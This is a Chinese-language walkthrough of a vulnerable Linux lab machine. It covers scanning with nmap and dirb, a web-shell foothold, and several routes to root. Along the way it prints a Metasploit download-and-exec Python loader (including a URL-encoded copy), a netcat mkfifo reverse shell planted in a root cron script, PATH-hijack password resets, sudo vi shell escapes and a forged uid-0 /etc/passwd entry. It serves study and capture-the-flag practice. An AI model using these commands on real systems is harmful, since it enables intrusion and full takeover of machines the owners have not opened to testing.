0X1 环境摘要
今天我们为大家分享的是一款多漏洞的Linux靶机,通过系统中的不同漏洞进行提权获得root权限。
扫描
枚举
利用
权限提升
0X2 实验步骤
首先开始扫描主机IP地址,使用Netdiscover工具
netdiscover -r 172.16.1.0/24
找到漏洞环境地址是172.16.1.189。然后使用nmap进行全面综合扫描
nmap -A 172.16.1.189
root@kali:~# nmap -A 172.16.1.189
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-06 21:56 CST
Nmap scan report for 172.16.1.189
Host is up (0.00035s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 38169/udp mountd
| 100005 1,2,3 60545/tcp mountd
| 100021 1,3,4 39381/tcp nlockmgr
| 100021 1,3,4 52112/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 3 (RPC #100227)
MAC Address: 00:0C:29:EA:F3:51 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: LINUX
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: osboxes
| NetBIOS computer name: LINUX\x00
| Domain name: \x00
| FQDN: osboxes
|_ System time: 2019-08-06T09:56:52-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-06 21:56:52
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 0.35 ms 172.16.1.189
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds
发现有80服务,那就使用dirb扫描一下站点目录,使用-X选项扫描扩展为php格式的文件
dirb http://172.16.1.189/ -X .php
发现一个shell.php路径,浏览器访问一下
提示我们缺少参数,那么我们使用cmd传入一个参数尝试构造
当前用户是一个普通用户,而当前的环境又给了我们命令执行的接口,所以我们使用反弹shell的方式连接进去
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set srvhost 172.16.1.134
srvhost => 172.16.1.134
msf5 exploit(multi/script/web_delivery) > set lhost 172.16.1.134
lhost => 172.16.1.134
msf5 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.1.134:4444
[*] Using URL: http://172.16.1.134:80/TKEl7A6DrLCUvY9
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://172.16.1.134/TKEl7A6DrLCUvY9');exec(r.read());"
msf5 exploit(multi/script/web_delivery) >
msf5 exploit(multi/script/web_delivery) >
172.16.1.134是kali的ip地址,然后生成一段python的反弹代码,直接执行不成功,URL编码一下。
%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%79%73%3b%75%3d%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%75%72%6c%6c%69%62%27%2b%7b%32%3a%27%27%2c%33%3a%27%2e%72%65%71%75%65%73%74%27%7d%5b%73%79%73%2e%76%65%72%73%69%6f%6e%5f%69%6e%66%6f%5b%30%5d%5d%2c%66%72%6f%6d%6c%69%73%74%3d%28%27%75%72%6c%6f%70%65%6e%27%2c%29%29%3b%72%3d%75%2e%75%72%6c%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%2e%31%2e%31%33%34%2f%54%4b%45%6c%37%41%36%44%72%4c%43%55%76%59%39%27%29%3b%65%78%65%63%28%72%2e%72%65%61%64%28%29%29%3b%22%0a
然后在msfconsole终端中发现一个shell连接反弹过来了
等待一会会中断,使用sessions查看所有会话连接
可以看到基本上都是user6返回的连接,使用命令进入meterpreter会话中
sessions -i 1
因为之前我们已经在浏览器中执行过id命令,知道当前是user6用户,是一个id是1005的用户,所以使用upload命令上传linux环境检查脚本,但是失败
换个思路,本地开启web环境,将脚本放置在www目录中,通过进入到靶机中的shell中在tmp目录中执行wget命令下载
成功了!然后改变权限,执行脚本
$ ls
LinEnum.sh
$ $ chmod 777 LinEnum.sh
$ ./LinEnum.sh
然后系统中共有8个用户
我们还发现在crontab中,使用root权限每隔5分钟运行一个名为autoscript.sh的文件。
有没有很熟悉的赶脚?是的,大伙长做的AWD线下的很多后门都在计划任务中。然后可写的文件包括了passwd文件
下面开始进行权限提升不同的方法尝试
I 利用shell文件的SUID权限获取shell
在我们上面使用LinEnum.sh扫描的时候由于网段是NAT,所以在检测的时候/home/目录下的文件权限没有检测出来,但是换成桥接模式之后可以的,很是无语了。所以扫描出的结果正面在/home/user3和/home/user5/目录下有文件具有suid权限
所以这里,我们使用find命令按照执行权限来查找
find / -perm -u=s -type f 2>/dev/nul
-perm 表示按执行权限来查找
-type 表示查是块设备、目录、字符设备、管道、符号链接、普通文件
执行一下
再去执行shell
就可以获得root权限了。
II 通过破解root密码获取root shell
从上面的截图中,我们已经知道了user5目录下的script也可以执行root权限
在这里,我们使用环境变量访问/etc/shadow文件,然后提权。利用环境变量提权的利用可以参考github上开源的exploit-nebula练习环境。
命令如下
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script
执行结果只后没有成功!按照预期,该脚本执行的时候应该会以root身份执行,然后加载环境变量,执行cat /etc/shadow命令,这样的话我们就能够拿到root身份的密码值,然后使用john破解即可。但是在做的时候这里没有显示出来,试了好长时间,没有成功!如果有小伙伴做出来,可以交流一下。
III 通过利用user1的SUDO权限获取root shell
这里我们使用echo和chpasswd命令用我们的新密码12345替换现有密码。然后使用su命令切换到user1帐户。在检查了user1的sudoer列表后,我们发现该用户可以将所有命令作为sudo运行。所以我们运行命令sudo su并获得root访问权限
user6 / | tmp echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo suecho 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
user6 / | tmp chmod 777 ls
user6 / | tmp export PATH=/tmp:$PATH
user6 / | tmp cd /home/user5
user6 / | home | user5 ./script
user6 / | home | user5 su user1
Password: 12345
su: Authentication failure
user6 / | home | user5 su user1
su user1
Password: 12345
Welcome to Linux Lite 4.4 user1
Tuesday 06 August 2019, 11:45:18
Memory Usage: 356/985MB (36.14%)
Disk Usage: 5/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
user1 / home user5 sudo su
sudo su
[sudo] password for user1: 12345
Welcome to Linux Lite 4.4
You are running in superuser mode, be very careful.
Tuesday 06 August 2019, 11:45:31
Memory Usage: 360/985MB (36.55%)
Disk Usage: 5/217GB (3%)
root / home user5 id
id
uid=0(root) gid=0(root) groups=0(root)
root / home user5
我们通过上一关的利用方式对user4更改密码为12345
然后查看位于该用户桌面的autoscript.sh脚本
里面没啥关键信息。那么我们是不是可以往里面写一段反弹的shell呢?利用msfvenom进行编写。
msfvenom -p cmd/unix/reverse_netcat lhost=172.16.1.134 lport=8888 R
然后写入autoscript.sh脚本之中
echo 'mkfifo /tmp/nxbfap; nc 172.16.1.134 8888 0</tmp/nxbfap | /bin/sh >/tmp/nxbfap 2>&1; rm /tmp/nxbfap' > autoscript.sh
在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载
即可看到会话过来,查看权限为root权限。
同样的过程,对user8修改密码为12345
echo 'echo "user8:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user8
sudo –l
sudo su
通过sudo -l查看user8的权限发现对vi有特权
那就打开一个vi,输入sh,退出
sudo vi
:!sh
enter
获得root权限。
Ⅵ 利用/etc/passwd文件的可写权限
查看/etc/passwd文件内容
可以发现user7对于passwd文件应该是可写的。所以和上面几步一样,修改user7的密码为12345
查看user7权限
然后复制kali的passwd文件内容,对pass123求哈希值
openssl passwd -1 -salt ignite pass123
然后拷贝到新的passwd文件中,用户名是睡大觉简写
sdj:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
保存成新的passwd文件,使用user7用户下载到环境中,覆盖原来的passwd文件内
查看passwd内容并切换账户
提权成功!
总结
这个漏洞环境利用了Linux下常见的一些管理配置上的特性,如SUID、环境变量、特殊文件可写、计划任务等功能,使得我们在以普通用户的身份就可以轻易利用这些漏洞成为管理员,在一般的比赛中是经常的考点。所以我们在平常的练习环境中应该对此类漏洞多多总结,这样在遇到的时候就会很容易发现并加以利用学习。